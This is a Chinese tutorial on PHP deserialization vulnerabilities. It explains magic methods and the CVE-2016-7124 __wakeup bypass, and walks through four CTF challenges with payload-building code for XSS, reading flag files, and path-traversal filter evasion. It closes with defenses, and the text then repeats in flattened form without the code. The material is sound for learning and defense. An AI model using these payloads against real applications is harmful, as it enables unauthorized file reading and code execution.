入门Web需要了解的PHP反序列化漏洞
字数 1581 2025-08-18 11:38:45

PHP反序列化漏洞详解

一、前言

PHP反序列化漏洞(PHP对象注入)是由于程序对输入数据处理不当导致的安全问题。学习反序列化漏洞前需要掌握以下PHP基础知识:

  1. PHP面向对象编程
  2. PHP中的魔术方法
  3. 序列化与反序列化机制

二、序列化与反序列化基础

1. 为什么需要序列化

序列化的目的是方便数据的传输和存储。PHP文件在执行结束后会将对象销毁,序列化可以将对象转换为字符串形式持久保存,需要时再反序列化恢复对象。

2. 序列化函数

serialize():将PHP对象转换为字符串

class test{
    public $name = 'P2hm1n';
    private $sex = 'secret';
    protected $age = '20';
}
$test1 = new test();
$object = serialize($test1);
print_r($object);

序列化格式说明:

  • private属性:%00类名%00成员名
  • protected属性:%00*%00成员名

3. 反序列化函数

unserialize():将序列化字符串转换回PHP值

$object = '序列化字符串';
$test = unserialize($object);
print_r($test);

注意:处理protected和private属性时需要补齐空字符串。

三、反序列化漏洞产生条件

  1. 必须有unserialize()函数
  2. unserialize()函数的参数必须可控
  3. 可能需要绕过一些魔术方法

简单示例

class test{
    public $target = 'this is a test';
    function __destruct(){
        echo $this->target;
    }
}
$a = $_GET['b'];
$c = unserialize($a);

此例中,通过控制$a参数可实现XSS攻击:

class test{
    public $target = '<script>alert(/xss/);</script>';
}
$a = new test();
echo serialize($a);

四、重要魔术方法

理解魔术方法的执行顺序对利用反序列化漏洞至关重要:

class test{
    public $name = 'P2hm1n';
    
    function __construct(){
        echo "__construct()<br>";
    }
    
    function __destruct(){
        echo "__destruct()<br>";
    }
    
    function __wakeup(){
        echo "__wakeup()<br>";
    }
    
    function __toString(){
        return "__toString()<br>";
    }
    
    function __sleep(){
        echo "__sleep()<br>";
        return array("name");
    }
}

执行顺序:

  1. __construct() - 对象创建时调用
  2. __sleep() - 序列化时调用
  3. __wakeup() - 反序列化时调用
  4. __toString() - 对象被当作字符串时调用
  5. __destruct() - 对象销毁时调用

五、绕过__wakeup()方法

利用CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行。

示例:

O:4:"test":2:{...}  // 实际属性个数为1,但这里写2

六、实战案例分析

案例1:D0g3平台

error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY"){
    echo "$flag";
}

解题思路:

  1. 构造序列化字符串使反序列化结果等于"D0g3!!!"
  2. 直接序列化该字符串:
$KEY = "D0g3!!!";
echo serialize($KEY);

案例2:Bugku-welcome to the bugkuctf

index.php部分代码:

$password = unserialize($password);
echo $password;

hint.php部分代码:

class Flag{
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            return "good";
        }
    }
}

解题思路:

  1. 控制$this->file读取flag.php
  2. 构造payload:
class Flag{
    public $file = 'flag.php';
}
$a = new Flag();
echo serialize($a);

案例3:第12届全国大学生信息安全竞赛-JustSoso

hint.php关键代码:

class Flag{
    public $file;
    public $token;
    public $token_flag;
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag){
            echo @highlight_file($this->file,true);
        }
    }
}

解题思路:

  1. 使用引用变量使$token$token_flag始终相等
  2. 绕过__wakeup()方法
  3. 构造payload:
class Flag{
    public $file = "flag.php";
    public $token;
    public $token_flag;
}
class Handle{
    private $handle;
}

$f = new Flag();
$f->token = &$f->token_flag; // 使用引用
$h = new Handle($f);
echo str_replace('2', '3', serialize($h)); // 绕过__wakeup

案例4:DDCTF-Web签到题

Application.php关键代码:

class Application {
    var $path = '';
    
    public function __destruct() {
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response(file_get_contents($path),'Congratulations');
    }
}

解题思路:

  1. 构造$path..././config/flag.txt
  2. 绕过str_replace("../","",$path)过滤
  3. 最终长度为18(过滤后)

payload:

class Application {
    var $path = '..././config/flag.txt';
}
$a = new Application();
echo serialize($a);

七、扩展知识

1. Session反序列化漏洞

PHP在存储session时可能使用序列化机制,当session存储和读取处理方式不一致时可能导致反序列化漏洞。

2. Phar反序列化漏洞

Phar文件元数据会被序列化存储,当文件操作函数(如file_exists())作用于Phar文件时,会反序列化元数据,可能触发反序列化漏洞。

八、防御措施

  1. 不要反序列化不可信的数据
  2. 使用json_encode()json_decode()代替序列化
  3. 实现严格的输入验证
  4. 使用hash_hmac()等机制验证数据完整性
  5. 限制反序列化时的类加载(通过allowed_classes选项)

九、总结

PHP反序列化漏洞利用的关键点:

  1. 找到可控的unserialize()参数
  2. 分析可用的类和魔术方法
  3. 构造合适的对象链(POP链)
  4. 绕过可能的限制(如__wakeup()
  5. 实现任意文件读取、代码执行等恶意操作

理解这些原理和技巧,才能有效挖掘和防御PHP反序列化漏洞。

PHP反序列化漏洞详解 一、前言 PHP反序列化漏洞(PHP对象注入)是由于程序对输入数据处理不当导致的安全问题。学习反序列化漏洞前需要掌握以下PHP基础知识: PHP面向对象编程 PHP中的魔术方法 序列化与反序列化机制 二、序列化与反序列化基础 1. 为什么需要序列化 序列化的目的是方便数据的传输和存储。PHP文件在执行结束后会将对象销毁,序列化可以将对象转换为字符串形式持久保存,需要时再反序列化恢复对象。 2. 序列化函数 serialize() :将PHP对象转换为字符串 序列化格式说明: private属性: %00类名%00成员名 protected属性: %00*%00成员名 3. 反序列化函数 unserialize() :将序列化字符串转换回PHP值 注意:处理protected和private属性时需要补齐空字符串。 三、反序列化漏洞产生条件 必须有 unserialize() 函数 unserialize() 函数的参数必须可控 可能需要绕过一些魔术方法 简单示例 此例中,通过控制 $a 参数可实现XSS攻击: 四、重要魔术方法 理解魔术方法的执行顺序对利用反序列化漏洞至关重要: 执行顺序: __construct() - 对象创建时调用 __sleep() - 序列化时调用 __wakeup() - 反序列化时调用 __toString() - 对象被当作字符串时调用 __destruct() - 对象销毁时调用 五、绕过__ wakeup()方法 利用CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过 __wakeup() 的执行。 示例: 六、实战案例分析 案例1:D0g3平台 解题思路: 构造序列化字符串使反序列化结果等于"D0g3!! !" 直接序列化该字符串: 案例2:Bugku-welcome to the bugkuctf index.php部分代码: hint.php部分代码: 解题思路: 控制 $this->file 读取flag.php 构造payload: 案例3:第12届全国大学生信息安全竞赛-JustSoso hint.php关键代码: 解题思路: 使用引用变量使 $token 和 $token_flag 始终相等 绕过 __wakeup() 方法 构造payload: 案例4:DDCTF-Web签到题 Application.php关键代码: 解题思路: 构造 $path 为 ..././config/flag.txt 绕过 str_replace("../","",$path) 过滤 最终长度为18(过滤后) payload: 七、扩展知识 1. Session反序列化漏洞 PHP在存储session时可能使用序列化机制,当session存储和读取处理方式不一致时可能导致反序列化漏洞。 2. Phar反序列化漏洞 Phar文件元数据会被序列化存储,当文件操作函数(如 file_exists() )作用于Phar文件时,会反序列化元数据,可能触发反序列化漏洞。 八、防御措施 不要反序列化不可信的数据 使用 json_encode() 和 json_decode() 代替序列化 实现严格的输入验证 使用 hash_hmac() 等机制验证数据完整性 限制反序列化时的类加载(通过 allowed_classes 选项) 九、总结 PHP反序列化漏洞利用的关键点: 找到可控的 unserialize() 参数 分析可用的类和魔术方法 构造合适的对象链(POP链) 绕过可能的限制(如 __wakeup() ) 实现任意文件读取、代码执行等恶意操作 理解这些原理和技巧,才能有效挖掘和防御PHP反序列化漏洞。